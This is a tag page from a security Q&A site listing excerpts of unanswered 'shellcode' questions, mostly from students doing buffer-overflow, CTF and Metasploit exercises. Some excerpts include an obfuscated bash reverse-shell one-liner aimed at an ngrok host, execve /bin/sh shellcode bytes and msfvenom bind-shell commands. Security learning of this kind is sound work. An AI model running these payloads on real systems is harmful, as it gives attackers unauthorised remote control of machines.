Questions tagged [shellcode]
In computer security, a shellcode is a small piece of code used as the payload in the exploitation of a software vulnerability. It is called "shellcode" because it typically starts a command shell from which the attacker can control the compromised machine, but any piece of code that performs a similar task can be called shellcode.
45 questions with no upvoted or accepted answers
5
votes
1
answer
9k
views
Error Running command shell :TimeoutError Operation Time out
I am Testing a Payload linux/x86/meterpreter/reverse_tcp in my Test Linux network to Exploit, I got a Meterpreter Session by Metasploit using it, I tried several commands like getuid, cat and all ...
- 464
4
votes
0
answers
815
views
C program - exploit program (after seg fault)
The program below takes three parameters - Base to convert from, base to convert to and the number to convert in binary
As part of learning security - I am trying to buffer overflow this program. I ...
- 49
3
votes
1
answer
2k
views
Extracting shellcode from Wireshark pcap files
I running a honeypot for the telnet and ssh services (more specifically, I'm running cowrie).
When an attacker tries to download a binary file cowrie generally downloads it and saves it to a file, ...
- 199
2
votes
1
answer
721
views
Exploit education stack-five: trouble opening shell
Im trying the phoenix vm, challenge stack-five on exploit.education (http://exploit.education/phoenix/stack-five/).
I run onto a problem while exploiting a stack overflow. The challenge is run execve('...
- 23
2
votes
0
answers
274
views
Shellcode different on guide
I followed a guide to do narnia2 of overthewire and the shellcode generated by them was:
h\x01\x01\x01\x01\x814$ri\x01\x011\xd2Rj\x04Z\x01\xe2R\x89\xe2jhh///sh/binj\x0bX\x89\xe3\x89\xd1\x99\xcd\x80
...
- 123
2
votes
0
answers
395
views
Concerns about LaTeX 3 shell escape code
What are the security risks in this line of LaTeX code, and what can be done to reduce them? The LaTeX3 project wants TeX macros to be able to do file operations via shell escape.
{ cp~-RLf~ \...
- 121
2
votes
0
answers
641
views
Stack overflow return addr
I'm trying to exploit a standard buffer overflow vulnerability in a program that uses strcpy() to fill a 200 char buffer, without checking boundaries, and compiled with -z execstack and -fno-stack-...
- 89
2
votes
1
answer
5k
views
Starting a new shell in a strcpy exploit using buffer overflow
I'm learning about buffer overflows and have this vulnerable code which I'm trying to start a shell from:
#include <string.h>
void myfunction(char *arg);
int main(int argc, char **argv)
{
...
- 21
2
votes
1
answer
678
views
How to avoid crash after successfully run shellcode?
I am a student studying information security. Recently I read this article link and made full exploit code. calc.exe is executed as expected. But after running shellcode, IE just crashed. (because no ...
- 21
1
vote
0
answers
114
views
How to get Avast to stop quarantining my program?
I need to use a .NET shellcode inside a c++ unmanaged process. Let me be clear the shellcode is not malicious by any means, I just need it to load .NET code in an unmanaged process.
Antivirus won't ...
1
vote
0
answers
67
views
How can I jump to an address after executing a donut shellcode?
I'm looking to execute a shellcode by packaging it inside an executable.
I generate an executable (open the calculator)
I output a shellcode from the executable with donut.
donut.exe -i opencalc.exe ...
- 11
1
vote
0
answers
214
views
Buffer Overflow shell
I'm trying to exploit the code posted by ir0nstone at this link. I followed any of the steps listed in the tutorial, but Address space layout randomization (ASLR) is not enabled on my machine. When I ...
- 11
1
vote
0
answers
156
views
How to properly pack address into bytes to overwrite EIP register
I'm learning how to exploit a tiny web server based on a well written post here: https://blog.coffinsec.com/2017/11/10/tiny-web-server-buffer-overflow-discovery-and-poc.html
I am very close to ...
- 111
1
vote
0
answers
203
views
MessageBoxA only shows up in debugger?
This question is related to crackmes.de's k1 by xtfusion. I'm trying to add custom shellcode through stack overflow.
The shellcode works perfect under Windows XP (without ASLR) when the program is ...
- 111
1
vote
0
answers
240
views
Confusing with the exact location of a shellcode in memory?
When we test a shellcode, we add it to a small C program and execute it in order to see it does the actual job we expect. But
most of the time, it crashes saying 'segmentation fault'. I got the same ...
1
vote
0
answers
132
views
Why is generated different traffic for the same attack?
I created a scenario in VirtualBox (configured as internal network) with two machines: Windows XP and Kali Linux.
I used ms08_067_netapi exploit from Metasploit and the payload windows/meterpreter/...
- 23
1
vote
0
answers
616
views
Shell injection using only [alphanumeric, dashes, colon, period]
I found an html form with a single input field, where the inputted text is used as the argument (or rather just the last part) of a ping command on the server.
When submitting the form, the following ...
- 111
1
vote
0
answers
2k
views
Segmentation fault in exercise program
I am going through this video on buffer overflows but am having some trouble replicating the demo. The issue is that I am getting a segmentation fault when I expect to get a shell at the end.
The idea ...
- 147
1
vote
0
answers
608
views
Buffer overflow experiment: shell code executed but got "failed to read 0 bytes" error
I've doing a buffer overflow experiment on a Ubuntu 16.04 VM (Linux ubuntu 4.10.0-28-generic #32~16.04.2-Ubuntu SMP Thu Jul 20 10:19:48 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux) and got a puzzling ...
- 145
1
vote
0
answers
396
views
Why can't I see my shellcode executing in Immunity Debugger?
I am doing an exercise on creating custom shellcode (windows). The goal is to create shellcode that will delete the firewall log file.
I successfully spawned a reverse shell with metasploit, using a ...
- 11
1
vote
0
answers
940
views
Could not load library libcutils.so while injecting shellcode
I am working on my school thesis.
I am trying to inject some shellcode into a shared library using Dirty Cow vulnerability on Android x86.
My shellcode is written in asembly and only calls ...
- 133
1
vote
0
answers
2k
views
Problem with reverse-shell direction
In an attempt to exploit RFI weakness I am running Apache on my Kali box to host the php reverse-shell and the shell was backconnect to myself (my kali machine).
Why am I getting a shell from my ...
- 31
1
vote
0
answers
496
views
Using .data segment for Code Execution with DEP Enable
Sorry if this seems like a silly question. I am working on practicing backdooring applications for a cert I am working on, and one of the methods is to use existing code caves. The issue is, these ...
- 11
1
vote
0
answers
193
views
Why makes many copies of the code block in Heap Spray?
I Understand that adding NOP-Sled will increase the possibility of the attack, but why do we need to add more than a copy of NOP-sled + shellcode?
if we have one big NOP_sled+shellcode it will be more ...
- 11
1
vote
0
answers
531
views
Shellcode Injection/Poisoning on Mobile Networks[GSM/LTE/CDMA-varaints]?
In the previous question(How do APN hacks work?) I have enquired about APN hacks but after reseaching more about cellular networks.
I wonder has anybody attempted Remote-code execution/poisoning,etc ...
- 131
1
vote
0
answers
1k
views
Sysinternals tool suite not working on low priv shell
Currently oscp student. I asked this on the oscp forum yesterday, but no responses so far. I am new to infosec, but have 18 years of education / work experience in IT.
As far as I can tell, ...
- 225
1
vote
0
answers
338
views
Buffer overflow and register contents?
I am doing an exam practice question, suppose I have a function like;
void func(char* arg)
{
char buf[32];
strcpy(buf, arg);
}
command break func:
-buf begins at 0xbffebfb0
-(gdb) x/2wx $...
- 145
1
vote
0
answers
2k
views
How does Metasploit's payload work with a remote target?
I have some simple questions. I often use Metasploit in my pentest engagements.
It works fine when I'm inside a local network. Okay, we know that, when the payload is injected properly, it will give ...
- 72
0
votes
0
answers
110
views
bin/sh in return-to-libc attacks
Return-to-libc is an attack where the attacker, in most cases, returns to the system function, which it uses to execute shell commands. However, I am confused about two things:
The command that the ...
- 1
0
votes
0
answers
221
views
Why does my uploaded shell as .php gets downloaded rather than executed when I hit the URL?
I have uploaded a php shell using a file upload vulnerability. But when I hit the .php url after uploading it. It gets downloaded rather than executed. Why is that. And how can I execute my shell code?...
- 129
0
votes
1
answer
98
views
Reverse Shell payload does not work
$(/bin/prin[t]f 'ba\x73h -c \x27ba\x73h -i \x3e\x26 /d\x65v/t\x63p/2.t\x63p.eu.ngrok.io/xxxxx 0\x3e\x261\x27')
-i: -c: line 1: unexpected EOF while looking for matching `''
I was trying to get a ...
0
votes
0
answers
148
views
push /bin/sh to get a shell
I usually use a different method to push /bin/sh in rdi to get a shell, but I wanted to try this one :
Put in case that I can control the RIP and there are no limitations or filters. So I can execute ...
- 1
0
votes
0
answers
329
views
Encoding shellcode to hide in filename / directory
Working on a CTF challenge and the coordinators hint suggests that one of the vectors to inject shellcode is via pathing. Looking at debugging prints does show the cwd and filename are passed onto the ...
- 1
0
votes
1
answer
668
views
Unable to execute shellcode on x86_64 architecture
I currently got interested in binary exploitation (even though I do not know if today is still useful).
I started studying shellcode and buffer overflow (stack-buffer overflow, specifically). I know ...
0
votes
1
answer
198
views
Info integer overflow vulnerability
I've found this interesting question Is this integer overflow vulnerability exploitable?.
How can I practically find the next instruction (in gdb) so that I can overwrite the return address and ...
- 1
0
votes
1
answer
146
views
pvefindaddr p2 in mona?
Is there a !pvefindaddr p2 (search for all pop/pop/ret combinations in the entire process memory space) equivalent in mona.py?
Alternatively, is there any option to run pvefindaddr in latest versions ...
0
votes
0
answers
620
views
Shell does not execute after buffer overflow
I am trying to do a buffer overflow on 64-bit Kali VM. When I execute the program and inject the NOP sled + shellcode + return address, the shell does not execute. I think it might have something to ...
- 1
0
votes
1
answer
282
views
Automatically insertion of 00 in EIP in Stack Overflow 64bit
I am trying to overflow a stack in C sample code to execute uncalled function in code.
The problem is when i overflow stack by entering a(24 times), $EIP is 0x555555550061. I want it to be ...
- 101
0
votes
0
answers
151
views
Pwnable: Process has its own home directory
I recently started to do the pwnable.tw challenges. I have no problem understanding the actual buffer-overflow and shellcode injection.
However, after the shell is spawned, the flag is read from /...
- 1
0
votes
0
answers
367
views
Windows shellcode not working in C
I have been trying to run a raw piece of shellcode collected on the net within a C wrapper to try it but it never works...
I know the shellcode below is all right because it does work in the context ...
- 1
0
votes
0
answers
2k
views
permission denied when executing an elf payload
I can examine a payload using libemu (sctest) and ndisasm, like this :
msfvenom -p linux/x86/shell_bind_tcp -f raw | ./sctest -vvv -Ss 1000
msfvenom -p linux/x86/shell_bind_tcp -f raw | ndisasm -u -...
- 101
0
votes
0
answers
287
views
How to forbid user from executing malicious shell and Python script?
I am designing a online programming website similar to https://repl.it. Users can execute shell and python scripts on the browsers.
If users execute malicious commands including but not limited to "...
- 101
0
votes
0
answers
548
views
x86 shellcode leads to segmentation fault
I want to execute execve("/bin/dash", &"/bin/dash", NULL) on Ubuntu 64 bit with the following 32 bit shellcode:
global _start
_start:
xor eax, eax ; set eax = 0 to push a null without using ...
- 125
0
votes
0
answers
281
views
Is JIT-compiler required for JIT-ROP attack?
I have been studying up on the concept of Just-in-Time (JIT) ROP attack (https://cs.unc.edu/~fabian/papers/oakland2013.pdf), and came across this question which I have not been able to find the ...
- 1
-3
votes
1
answer
616
views
Why is my reverse_https payload running at 0.0.0.0:443?
I created a reverse_https backdoor ( windows/meterpreter/reverse_https ) with msfpayload. Now I want to create a reverse shell from my target with a multi handler.
The problem is that when I ...
- 169